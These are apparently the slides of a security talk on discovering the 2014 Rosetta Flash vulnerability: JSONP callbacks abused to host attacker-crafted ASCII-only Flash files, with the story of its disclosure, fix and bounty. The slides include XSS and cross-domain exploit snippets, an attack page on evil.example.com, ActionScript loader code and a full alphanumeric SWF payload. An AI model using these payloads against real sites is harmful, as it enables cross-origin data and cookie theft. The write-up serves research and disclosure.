On Github molnarg / ascii-flash
Malware analysis, penetration testing
at Ukatemi Technologies/CrySyS Lab.
CTFs with the !SpamAndHex team, bug bounties in free time.
$500/web application bug.
2014/04: Spent two days hunting bugs → found an interesting one!
Then two weeks to write a Proof of Concept... not an average XSS bug.
prezi.com, search.prezi.com, media.prezi.com, ...
APIs and web app on different domains.
Can't make HTTP request to a different domain and read the response.
Proper solution, but not supported in old browsers.
You can't read the API response... but you can execute it!
<script> function f(response) { alert('The response is: ' + JSON.stringify(response)); } </script> <script src="https://gs.prezi.com/api/v1/group/4dd5e018/users ?format=jsonp&_callback=f"> </script>
GET /api/v1/group/4dd5e018/users?format=jsonp&_callback=f HTTP/1.1 Host: gs.prezi.com HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 27 f(["Joe", "Jack", "Jill"])
Prezi uses CSRF (Cross Site Request Forgery) tokens.
Main domain ↔ API domain shared secret
Main domain scripts can access it, others can't.
JSONP requests must include a CSRF token!
Consequence: access to certain JSONP APIs from anywhere.
Observation: there are JSONP APIs on the main domain too!
We can control the first bytes of the response! What to do with it?
Code on attacker.example.com
var html = '<script>alert(document.cookie);</script>'; var url = 'https://gs.prezi.com/api/v1/group/4dd5e018/users' + '?format=jsonp&_callback=' + encodeURIComponent(html); document.write('<iframe src="' + url + '"></iframe>');
Code in the <iframe>
<script>alert(document.cookie);</script>(["Joe", "Jack", "Jill"])
Does not work because of the Content-Type HTTP header!
HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 72 <script>alert(document.cookie);</script>(["Joe", "Jack", "Jill"])
Spotted in a Facebook Graph API JSONP response:
GET /123456/friends?access_token=abcdefg&callback=f ... /**/ f({ "data": [{"name": "First Friend", "id": "XXXX" ...
StackOverflow: In Facebook graph API JSONP format, what does the /**/ in first line signify?
<!-- HTML on evil.example.com --> <object type="application/x-shockwave-flash" data="http://graph.facebook.com/api ?callback=[specifically crafted flash bytes]"> </object>Facebook "hosts" a Flash file given by the attacker Content-Type can be overridden when embeddig Flash! It is Same Origin with Facebook Can send HTTP reqests to Facebook API, read responses Sends data back to attacker
Start JSONP response with /**/ .
Flash files must begin with "FWS" or "CWS", not /**/ .
in some JSONP APIs, that don't check CSRF token either! (Bug #1)
Good, let's do a Proof of Concept!
Callback name is usually filtered!
Most websites: alphanumeric characters: [0-9A-Za-z]
Prezi: characters between 0x00 and 0x7f (0-127)
... with Django APIs. Haskell APIs allowed 0x00-0xff but didn't find them at the time.
It seems like no one tried to do this yet...
Achievable with uncompressed Flash file format ("FWS") Metadata must conformimport flash.external.ExternalInterface; import flash.utils.ByteArray; import flash.display.Loader; function parse(binary:ByteArray, string:String) { if (string) { binary.writeByte(string.substr(0,3)); parse(binary, string.substr(3)); } return binary; } (new Loader()).loadBytes( parse(new ByteArray(), ExternalInterface.objectID) );
+ manual SWF editing with swfmill
<object type="application/x-shockwave-flash" data="http:// ... &_callback=%46%56%53..." <!-- Loader SWF --> name="067087083..."> <!-- SWF to be loaded, 3 digit/byte --> <param name="AllowScriptAccess" value="always"> </object>
Uncompressed Flash files always contain 0x00 bytes!
How to exploit this vulnerability?
The idea was first published here:
Alok Menghrajani - JSONP & handcrafted Flash files
Tricks: file size is ignored, checksum can be forced.
There's no known public exploit.
PoC: custom compression algo, 0x03-0x7e, does not do anything
0000000: 4357 536a 6163 6b69 6843 5254 5464 6060 CWSjackihCRTTd`` 0000010: 6030 6006 681a 3b03 437c 517e 7e09 0340 `0`.h.;.C|Q~~..@ 0000020: 323e 2e7e 3e3e 4911 4060 3c0b 3046 0606 2>.~>>I.@`<.0F.. 0000030: 0303 0606 0606 0606 0606 2f61 316f 6b06 ........../a1ok. 0000040: 0606 0606 0606 0706 0606 404e 0b09 12 ..........@N...
Must produce compresssed SWF file.
Custom, generic zlib or LZMA compressor with ASCII output
→ compress any regular SWF file.
Chose zlib for no particular reason...
Zlib is a container format for Deflate compressed data.
Deflated data consists of blocks. Types:
Uncompressed block Huffman coded block with predefined dictionary Huffman coded block with explicitly defined dictionary + Can use backreferences in 2. and 3. Contains the block length on 4 bytes → will contain 0x00 No freedom to tune compression → output won't be ASCII No reason it could not work... + Omitting backreferences for simplicityHuffman table as a dictionary:
Symbol Code 0x41 'A' 100 0x42 'B' 101 0x43 'C' 110 0x44 'D' 111 0x45 'E' 00 End 01Decoding: 0010011101 → 00 100 111 01 → EAD.
Prefix code → unambigous
Let's suppose symbols can be ordered.
Shorter codes should be always lower lexicographically.
If code lengths equal, let the preceding symbol have a lower code value.
⇓
Table definition = list of code lengths ordered by symbols
Symbol↓ Code Length 0x41 'A' 100 3 0x42 'B' 101 3 0x43 'C' 110 3 0x44 'D' 111 3 0x45 'E' 00 2 End 01 2Table definition = list of code lengths ordered by symbols
At most 2*26+10 = 62 different byte values in a block.
Important detail: bit order is reversed in deflate! → rev([0-9A-Za-z])
Example: compressing "\x01\x03\x08" → "8xdo"
Actually used code. Unallocated. Padding.
These make the first 8 bit code valid ASCII (00011100) by allocating every lower value (remember: shorter codes are always lower).
Allocate the last codes until 11111111 to make the table complete.
Input = Table #1 definition values = lot of 0, 6, 8
Sym.↓ Code Len. 0x00 1000 4 ... 0x06 1010 4 ... 0x08 1011 4 ...Fill the holes to make the whole table ASCII and complete.
Every combination is ASCII if starting with -2 bit offset!
Table #1 def. needs to end at 0 bit offset: need an end sequence.
In the end, two modes:
1. can compress anything, large output (just described)
2. can compress most inputs, optimized output
Published the compressor as ascii-zip on GitHub. See the code for the missing details, optimizations.
import flash.external.ExternalInterface; import flash.utils.ByteArray; import flash.display.Loader; private var objectID, slice = new ByteArray(); for (objectID = ExternalInterface.objectID; objectID; objectID = objectID.slice(3)) { slice.writeByte(objectID.slice(0, 3)); } (new Loader()).loadBytes(slice);
CWSA7000hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtWGDtGDGwwwDDGDG0Gt0GDGwtGDG0sDttwwwDG33w0sDDt03G33333sDfBDIHTOHHoKHBhHZLxHHHrlbhHHtHRHXXHHHdHDuYAENjmENDaqfvjmENyDjmENJYYfmLzMENYQfaFQENYnfVNx1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtwwwEDG3w0sG0stDDGtw0GDDwwwt3wt333333w03333gFPaEIQSNvTnmAqICTcsacSCtiUAcYVsSyUcliUAcYVIkSICMAULiUAcYVq9D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtwwuG333swG033GDtpDtDtDGDD33333s03333sdFPOwWgotOOOOOOOwodFhfhFtFLFlHLTXXTXxT8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7kiudIbEAt33swwEGDDtDG0GGDDwwwDt0wDGwwGG0sDDt033333GDt333swwv3sFPDtdtthLtDdthTthxthXXHHHHhHHHHHHhHXhHHHHXhXhXHXhHhiOUOsxCxHwWhsXKTgtSXhsDCDHshghSLhmHHhDXHhEOUoZQHHshghoeXehMdXwSlhsXkhehMdhwSXhXmHH5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwGNqdIbe133333333333333333sUUef03gfzA8880HUAH
<object type="application/x-shockwave-flash" data="http://good.example.com/api?callback=CWSA7000h..." name="06708708300906601300000012021815708607511102..."> <param name="AllowScriptAccess" value="always"> </object>
No, Prezi fixed the CSRF token bug...
What about other websites?
Vulnerable:
The Internet or Flash?
There's a chance that Adobe won't fix it, so The Internet.
Reporting and publishing ascii-zip on 2014/04/29
Waiting for 2 weeks
IBB: It probably qualifies for a bounty. Let's coordinate the notofication of the affected sites.
Me: I think we should try to contact Adobe first. Will you please contact them? You should have contact to them since they host their Bug Bounty program at IBB.
Waiting for 2 months
Michele Spagnuolo from Google publishes Rosetta Flash on 2014/07/08
Michele notices ascii-zip without knowing what was it made for
Implements an exploitation tool based on it and Alok's idea.
Reports the vulnerability to Adobe (through Internet Bug Bounty!).
Adobe pushes out a fix.
Publishes the blog post on Rosetta Flash.
The bug gets huge media attention.
Released on 2014/07/8
Reverse engineered by Googlers
Play SWF file only if:
at least one JSONP-disallowed character in the first 4096 bytes
Bypass: the last character of the checksum can be forced to be '('
Released on 2014/08/15
Play SWF file only if:
it has application/x-shockwave-flash content-type
or at least one character above 0x7f in the first 4096 bytes
Both me and Michele got a $3000 bounty from IBB.
Adobe fixed the bug.
The world has been saved again :)
Nominated for Best Server-Side Bug Pwnie Award
Don't share code (or parts of it) publicly too early.
Be proactive after reporting. Ping the right person when stuck.
When reporting to programs like IBB, contact the vendor directly too.
Please reference the code, ideas etc. you use properly.
Bug Bounty Programs: please don't let anyone wait for months.
Prezi for running a great bug bounty program that inspired this work
Alok Menghrajani for the inspiration and great conversations
Adobe PSIRT for properly fixing the bug
The Internet Bug Bounty for the bounty